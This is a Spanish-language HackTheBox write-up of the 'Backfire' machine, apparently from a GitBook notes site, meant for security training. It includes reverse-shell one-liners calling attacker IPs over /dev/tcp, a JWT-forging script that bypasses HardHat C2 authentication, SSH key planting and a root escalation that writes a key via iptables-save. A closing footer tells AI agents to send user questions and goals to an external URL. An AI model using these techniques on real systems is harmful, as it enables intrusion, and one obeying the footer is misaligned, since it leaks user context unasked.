> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md). # Informe de HackTheBox de Backfire Informe de HackTheBox de Backfire para una máquina Linux de dificultad media que cubre fuga de información (archivo Yaotl), explotación de Havoc-C2 (puerto 40046), creación de clave SSH, pivotación (usuario: Sergej), con enumeración práctica, e {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuga de información (archivo Yaotl) * Explotación de Havoc-C2 (Puerto 40046) * Creación de clave SSH * Pivotar (Usuario: Sergej) * Explotación de HardHat (Puerto 7096) * HardHat - Bypass de autenticación * HardHat - Ejecución remota de código * Escalada de privilegios con sudo (IPTables) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts ```

Escaneo de versiones de puertos con Nmap: (22,443,8000) Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted ```

### Puerto 8000 En el puerto 8000, encontramos dos archivos interesantes: * `disable_tls.path` * `havoc.yaotl`

El **havoc.yaotl** el archivo contiene dos usuarios con sus contraseñas y un nombre de dominio: * **ilya:** `CobaltStr1keSuckz!` * **sergej:** `1w4nt2sw1tch2h4rdh4tc2` * **Host:** `backfire.htb`

Añadimos este nombre de host en nuestro `/etc/hosts` archivo para facilitar el acceso.

El **disable/ tls.path** el archivo contiene un parche para deshabilitar TLS en el puerto de gestión de WebSocket (40056) en Havoc. Este parche reemplaza "wss\://" por "ws\://" y elimina la configuración SSL tanto para el cliente como para el servidor. El autor justifica este cambio especificando que este puerto solo acepta conexiones locales mediante reenvío SSH, reduciendo así los riesgos de seguridad. Este parche también parece ser una ironía sobre el rápido trabajo del usuario **sergej**.

## Puerto 40046 Havoc-C2 {% embed url="" %} Para explotar la vulnerabilidad SSRF en Havoc, creamos un `payload.sh` archivo que contenga el siguiente código: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.254/4444 0>&1 ``` A continuación, configuramos un servidor web para alojar nuestro payload con el siguiente comando: ```bash python3 -m http.server 80 ``` Luego escuchamos en el puerto 4444 con netcat para recibir la conexión inversa: ```bash nc -nlvp 4444 ``` Modificamos el script para incluir la información relevante y luego ejecutamos el exploit con el siguiente comando:

```bash python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056 ``` **Acceso de usuario:** El usuario **ilya** te permite conectarte a la máquina objetivo.

#### Estabilización de la terminal

script /dev/null -c bash
Pulsa `Ctrl+Z`, luego estabiliza la terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

### Bandera user.txt

Observamos que un cron job expulsa nuestra sesión cada 2 minutos. Para evitar este problema, crearemos claves SSH. ### **Creación de claves SSH:** Generamos una nueva clave SSH usando el siguiente comando: {% code overflow="wrap" %} ```bash ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa ``` {% endcode %}

Luego modificamos el `authorized_keys` archivo para añadir nuestra clave pública: {% code overflow="wrap" %} ```bash echo "TU CLAVE" | tee -a ~/.ssh/authorized_keys ``` {% endcode %}

Luego nos conectamos a la máquina objetivo usando SSH: ```bash ssh ilya@backfire.htb ```

### **Pivotar al usuario Sergej** En el directorio del usuario `ilya`, encontramos un archivo `hardhat.txt` que contiene el siguiente mensaje: > Sergej dijo que instaló HardHatC2 para pruebas y no cambió la configuración predeterminada. Espero que prefiera Havoc porque no quiero aprender otro framework C2, y Go

Examinamos los puertos internos con `netstat` comando: ```bash netstat -tuln ``` Los puertos 5000 y 7096 parecen especialmente interesantes.

**Reenvío de puertos :** Realizamos reenvío de puertos con SSH para acceder a los servicios internos: ```bash ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb ``` ## **Puerto 7096 - HardHatC2 CMS :** En el puerto 7096 encontramos el CMS de HardHat.

### **Bypass de autenticación de HardHat C2** {% embed url="" %} Usamos el siguiente script para omitir la autenticación y crear un nuevo usuario: ```python import jwt import datetime import uuid import requests rhost = '127.0.0.1:5000' # Crear JWT de administrador secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq" issuer = "hardhatc2.com" now = datetime.datetime.utcnow() expiration = now + datetime.timedelta(days=28) payload = { "sub": "HardHat_Admin", "jti": str(uuid.uuid4()), "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1", "iss": issuer, "aud": issuer, "iat": int(now.timestamp()), "exp": int(expiration.timestamp()), "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator" } token = jwt.encode(payload, secret, algorithm="HS256") print("JWT generado:") print(token) # Usa el JWT de administrador para crear un nuevo usuario 'sth_pentest' como TeamLead burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "jordan12345", "role": "TeamLead", "username": "jordan" } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text) ``` El script genera el usuario `jordan` con rol `TeamLead`.

### Hardhat C2 (RCE) En la `ImplantInteract` parte, tenemos acceso a una terminal. Al ejecutar el `whoami` comando, vemos que hemos iniciado sesión como el usuario `sergej`.

Establecemos una shell inversa para el usuario `sergej` escuchando en el puerto 443: ```bash nc -nlvp 443 ``` Y ejecutemos el siguiente comando para realizar la conexión inversa ```bash bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1" ``` Una vez conectados, añadimos nuestra clave SSH a `authorized_keys` para poder reconectarnos fácilmente:

```bash echo "tu clave" | tee -a ~/.ssh/authorized_keys ``` ## **Escalada de privilegios:** ### **Sudo - IP-Tables** **Comprobando los privilegios de sudo** Comenzamos comprobando los privilegios de sudo disponibles en la máquina: ```bash sudo -l ```

Descubrimos que el usuario tiene `sudo` privilegios sin contraseña para los siguientes comandos: * `/usr/sbin/iptables` * `/usr/sbin/iptables-save` **Generando un par de claves SSH** Generamos un par de claves SSH para inyectar nuestra clave pública en los archivos de autenticación de root: ```bash ssh-keygen -t ed25519 ``` Aquí está la clave pública generada: {% code overflow="wrap" %} ``` ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot ``` {% endcode %} **Inyección de clave pública en iptables** Usamos el `--comment` campo de `iptables` para inyectar nuestra clave pública en una regla {% code overflow="wrap" %} ```bash sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n' ``` {% endcode %} Comprobamos que la regla se ha añadido: ```bash sudo /usr/sbin/iptables -L ```

**Guardar en el archivo authorized/\_keys** Guardamos las reglas de iptables en un archivo que se utilizará como los `authorized_keys` archivo: ```bash sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2 ``` **Inicio de sesión como root** Por último, podemos conectarnos por SSH como root: ```bash ssh root@backfire.htb ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.